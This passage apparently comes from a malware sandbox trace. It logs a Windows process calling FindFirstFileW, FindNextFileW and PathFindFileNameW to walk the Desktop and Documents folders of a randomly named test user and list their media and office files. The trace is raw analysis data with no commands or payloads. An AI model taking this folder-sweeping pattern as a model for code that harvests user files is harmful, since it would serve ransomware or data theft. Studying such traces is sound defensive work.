wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.547] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\") returned="Mv1WVGRvzH\\" [0116.547] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0116.547] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.547] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.547] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.547] PathFindFileNameW (pszPath="") returned="" [0116.547] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9c06c20, ftCreationTime.dwHighDateTime=0x1d4ca35, ftLastAccessTime.dwLowDateTime=0x8a3f5950, ftLastAccessTime.dwHighDateTime=0x1d4cca3, ftLastWriteTime.dwLowDateTime=0x8a3f5950, ftLastWriteTime.dwHighDateTime=0x1d4cca3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9c06c20, ftCreationTime.dwHighDateTime=0x1d4ca35, ftLastAccessTime.dwLowDateTime=0x8a3f5950, ftLastAccessTime.dwHighDateTime=0x1d4cca3, ftLastWriteTime.dwLowDateTime=0x8a3f5950, ftLastWriteTime.dwHighDateTime=0x1d4cca3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86892510, ftCreationTime.dwHighDateTime=0x1d4d2b7, ftLastAccessTime.dwLowDateTime=0x5917a730, ftLastAccessTime.dwHighDateTime=0x1d4d34a, ftLastWriteTime.dwLowDateTime=0x5917a730, ftLastWriteTime.dwHighDateTime=0x1d4d34a, nFileSizeHigh=0x0, nFileSizeLow=0x14d32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0JOcjFAlZN.flv", cAlternateFileName="0JOCJF~1.FLV")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x791b9670, ftCreationTime.dwHighDateTime=0x1d4c771, ftLastAccessTime.dwLowDateTime=0x295de1c0, ftLastAccessTime.dwHighDateTime=0x1d4c87e, ftLastWriteTime.dwLowDateTime=0x295de1c0, ftLastWriteTime.dwHighDateTime=0x1d4c87e, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7H07rLnEi4jFThR2aq.mp4", cAlternateFileName="7H07RL~1.MP4")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x124b7750, ftCreationTime.dwHighDateTime=0x1d4c661, ftLastAccessTime.dwLowDateTime=0x4d550d10, ftLastAccessTime.dwHighDateTime=0x1d4cc70, ftLastWriteTime.dwLowDateTime=0x4d550d10, ftLastWriteTime.dwHighDateTime=0x1d4cc70, nFileSizeHigh=0x0, nFileSizeLow=0x1628d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ceQR-g1K.flv", cAlternateFileName="")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90e75b90, ftCreationTime.dwHighDateTime=0x1d4ca9b, ftLastAccessTime.dwLowDateTime=0xeddd8c30, ftLastAccessTime.dwHighDateTime=0x1d4d3c3, ftLastWriteTime.dwLowDateTime=0xeddd8c30, ftLastWriteTime.dwHighDateTime=0x1d4d3c3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fv3TELB 8E", cAlternateFileName="FV3TEL~1")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd227e0, ftCreationTime.dwHighDateTime=0x1d4cb18, ftLastAccessTime.dwLowDateTime=0x742d4c40, ftLastAccessTime.dwHighDateTime=0x1d4c833, ftLastWriteTime.dwLowDateTime=0x742d4c40, ftLastWriteTime.dwHighDateTime=0x1d4c833, nFileSizeHigh=0x0, nFileSizeLow=0x5615, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gtis3rDzqOHJLSemRMN.odp", cAlternateFileName="GTIS3R~1.ODP")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x312b4670, ftCreationTime.dwHighDateTime=0x1d4d4f6, ftLastAccessTime.dwLowDateTime=0x302f7a60, ftLastAccessTime.dwHighDateTime=0x1d4c84a, ftLastWriteTime.dwLowDateTime=0x302f7a60, ftLastWriteTime.dwHighDateTime=0x1d4c84a, nFileSizeHigh=0x0, nFileSizeLow=0xf946, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hjjmc6wvdBzNble_jQ.m4a", cAlternateFileName="HJJMC6~1.M4A")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43a46b0, ftCreationTime.dwHighDateTime=0x1d4d1b9, ftLastAccessTime.dwLowDateTime=0x6029f7d0, ftLastAccessTime.dwHighDateTime=0x1d4ca4e, ftLastWriteTime.dwLowDateTime=0x6029f7d0, ftLastWriteTime.dwHighDateTime=0x1d4ca4e, nFileSizeHigh=0x0, nFileSizeLow=0xa985, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IqxOJCjnMrxHR71kHDep.mp3", cAlternateFileName="IQXOJC~1.MP3")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d497a0, ftCreationTime.dwHighDateTime=0x1d4d05f, ftLastAccessTime.dwLowDateTime=0x3512fc0, ftLastAccessTime.dwHighDateTime=0x1d4c7b4, ftLastWriteTime.dwLowDateTime=0x3512fc0, ftLastWriteTime.dwHighDateTime=0x1d4c7b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KMX9gyhiVByA4.mp4", cAlternateFileName="KMX9GY~1.MP4")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x699b24a0, ftCreationTime.dwHighDateTime=0x1d4d459, ftLastAccessTime.dwLowDateTime=0x8a6ae100, ftLastAccessTime.dwHighDateTime=0x1d4d294, ftLastWriteTime.dwLowDateTime=0x8a6ae100, ftLastWriteTime.dwHighDateTime=0x1d4d294, nFileSizeHigh=0x0, nFileSizeLow=0x12dcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rX Jr.png", cAlternateFileName="RXJR~1.PNG")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104fbb20, ftCreationTime.dwHighDateTime=0x1d4cf24, ftLastAccessTime.dwLowDateTime=0xbcb4b790, ftLastAccessTime.dwHighDateTime=0x1d4d225, ftLastWriteTime.dwLowDateTime=0xbcb4b790, ftLastWriteTime.dwHighDateTime=0x1d4d225, nFileSizeHigh=0x0, nFileSizeLow=0xdff2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sKevCgi1Mzg9JDdGUMsM.flv", cAlternateFileName="SKEVCG~1.FLV")) returned 1 [0116.549] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x104fbb20, ftCreationTime.dwHighDateTime=0x1d4cf24, ftLastAccessTime.dwLowDateTime=0xbcb4b790, ftLastAccessTime.dwHighDateTime=0x1d4d225, ftLastWriteTime.dwLowDateTime=0xbcb4b790, ftLastWriteTime.dwHighDateTime=0x1d4d225, nFileSizeHigh=0x0, nFileSizeLow=0xdff2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sKevCgi1Mzg9JDdGUMsM.flv", cAlternateFileName="SKEVCG~1.FLV")) returned 0 [0116.549] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.550] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\") returned="gck8eKrR\\" [0116.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0116.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.550] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.550] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.550] PathFindFileNameW (pszPath="") returned="" [0116.550] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8124fb0, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0xdd91df70, ftLastAccessTime.dwHighDateTime=0x1d4d558, ftLastWriteTime.dwLowDateTime=0xdd91df70, ftLastWriteTime.dwHighDateTime=0x1d4d558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.552] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8124fb0, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0xdd91df70, ftLastAccessTime.dwHighDateTime=0x1d4d558, ftLastWriteTime.dwLowDateTime=0xdd91df70, ftLastWriteTime.dwHighDateTime=0x1d4d558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.552] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9f0f2b0, ftCreationTime.dwHighDateTime=0x1d4d096, ftLastAccessTime.dwLowDateTime=0xa7cf1300, ftLastAccessTime.dwHighDateTime=0x1d4d4fc, ftLastWriteTime.dwLowDateTime=0xa7cf1300, ftLastWriteTime.dwHighDateTime=0x1d4d4fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-cJIpQCkg1", cAlternateFileName="-CJIPQ~1")) returned 1 [0116.552] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9adc280, ftCreationTime.dwHighDateTime=0x1d4c64c, ftLastAccessTime.dwLowDateTime=0x3c087090, ftLastAccessTime.dwHighDateTime=0x1d4d172, ftLastWriteTime.dwLowDateTime=0x3c087090, ftLastWriteTime.dwHighDateTime=0x1d4d172, nFileSizeHigh=0x0, nFileSizeLow=0x9032, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0d9kggXW.pdf", cAlternateFileName="")) returned 1 [0116.552] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69ce3000, ftCreationTime.dwHighDateTime=0x1d4c60a, ftLastAccessTime.dwLowDateTime=0x653311c0, ftLastAccessTime.dwHighDateTime=0x1d4c833, ftLastWriteTime.dwLowDateTime=0x653311c0, ftLastWriteTime.dwHighDateTime=0x1d4c833, nFileSizeHigh=0x0, nFileSizeLow=0xf98c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aFuREbY291J9.rtf", cAlternateFileName="AFUREB~1.RTF")) returned 1 [0116.552] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1cc3ef0, ftCreationTime.dwHighDateTime=0x1d4ca89, ftLastAccessTime.dwLowDateTime=0xa5ba5c00, ftLastAccessTime.dwHighDateTime=0x1d4c6d3, ftLastWriteTime.dwLowDateTime=0xa5ba5c00, ftLastWriteTime.dwHighDateTime=0x1d4c6d3, nFileSizeHigh=0x0, nFileSizeLow=0x13481, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bhC_ABvBjR.ods", cAlternateFileName="BHC_AB~1.ODS")) returned 1 [0116.552] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff536f0, ftCreationTime.dwHighDateTime=0x1d4c56b, ftLastAccessTime.dwLowDateTime=0xbd8956d0, ftLastAccessTime.dwHighDateTime=0x1d4ccad, ftLastWriteTime.dwLowDateTime=0xbd8956d0, ftLastWriteTime.dwHighDateTime=0x1d4ccad, nFileSizeHigh=0x0, nFileSizeLow=0x7207, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hK5LQd-AxtZKvzbn.xlsx", cAlternateFileName="HK5LQD~1.XLS")) returned 1 [0116.552] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119af1f0, ftCreationTime.dwHighDateTime=0x1d4d589, ftLastAccessTime.dwLowDateTime=0xc07f4a70, ftLastAccessTime.dwHighDateTime=0x1d4cc4e, ftLastWriteTime.dwLowDateTime=0xc07f4a70, ftLastWriteTime.dwHighDateTime=0x1d4cc4e, nFileSizeHigh=0x0, nFileSizeLow=0x7ffd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lbsR.csv", cAlternateFileName="")) returned 1 [0116.552] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4af6db0, ftCreationTime.dwHighDateTime=0x1d4cceb, ftLastAccessTime.dwLowDateTime=0x16753e90, ftLastAccessTime.dwHighDateTime=0x1d4d47d, ftLastWriteTime.dwLowDateTime=0x16753e90, ftLastWriteTime.dwHighDateTime=0x1d4d47d, nFileSizeHigh=0x0, nFileSizeLow=0x14050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mdkvH5k.csv", cAlternateFileName="")) returned 1 [0116.552] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb646480, ftCreationTime.dwHighDateTime=0x1d4c7ff, ftLastAccessTime.dwLowDateTime=0x5cd1fbf0, ftLastAccessTime.dwHighDateTime=0x1d4d44e, ftLastWriteTime.dwLowDateTime=0x5cd1fbf0, ftLastWriteTime.dwHighDateTime=0x1d4d44e, nFileSizeHigh=0x0, nFileSizeLow=0x683e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pelEM3i4e4Jx_4 Wkx.pdf", cAlternateFileName="PELEM3~1.PDF")) returned 1 [0116.552] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb646480, ftCreationTime.dwHighDateTime=0x1d4c7ff, ftLastAccessTime.dwLowDateTime=0x5cd1fbf0, ftLastAccessTime.dwHighDateTime=0x1d4d44e, ftLastWriteTime.dwLowDateTime=0x5cd1fbf0, ftLastWriteTime.dwHighDateTime=0x1d4d44e, nFileSizeHigh=0x0, nFileSizeLow=0x683e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pelEM3i4e4Jx_4 Wkx.pdf", cAlternateFileName="PELEM3~1.PDF")) returned 0 [0116.552] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.553] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0116.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0116.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.553] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.553] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.553] PathFindFileNameW (pszPath="") returned="" [0116.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb646480, ftCreationTime.dwHighDateTime=0x1d4c7ff, ftLastAccessTime.dwLowDateTime=0x5cd1fbf0, ftLastAccessTime.dwHighDateTime=0x1d4d44e, ftLastWriteTime.dwLowDateTime=0x5cd1fbf0, ftLastWriteTime.dwHighDateTime=0x1d4d44e, nFileSizeHigh=0x0, nFileSizeLow=0x683e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pelEM3i4e4Jx_4 Wkx.pdf", cAlternateFileName="PELEM3~1.PDF")) returned 0xffffffff [0116.553] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0116.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0116.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.553] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.553] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.553] PathFindFileNameW (pszPath="") returned="" [0116.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb646480, ftCreationTime.dwHighDateTime=0x1d4c7ff, ftLastAccessTime.dwLowDateTime=0x5cd1fbf0, ftLastAccessTime.dwHighDateTime=0x1d4d44e, ftLastWriteTime.dwLowDateTime=0x5cd1fbf0, ftLastWriteTime.dwHighDateTime=0x1d4d44e, nFileSizeHigh=0x0, nFileSizeLow=0x683e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pelEM3i4e4Jx_4 Wkx.pdf", cAlternateFileName="PELEM3~1.PDF")) returned 0xffffffff [0116.554] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.554] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0116.554] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0116.554] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.554] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.554] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.554] PathFindFileNameW (pszPath="") returned="" [0116.554] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.555] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.555] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.555] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0116.555] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0116.555] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0116.555] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.555] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.555] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0116.555] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0116.555] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.555] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.555] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.555] PathFindFileNameW (pszPath="") returned="" [0116.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0116.555] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.555] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0116.556] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0116.556] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.556] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.556] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.556] PathFindFileNameW (pszPath="") returned="" [0116.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.556] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.557] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, 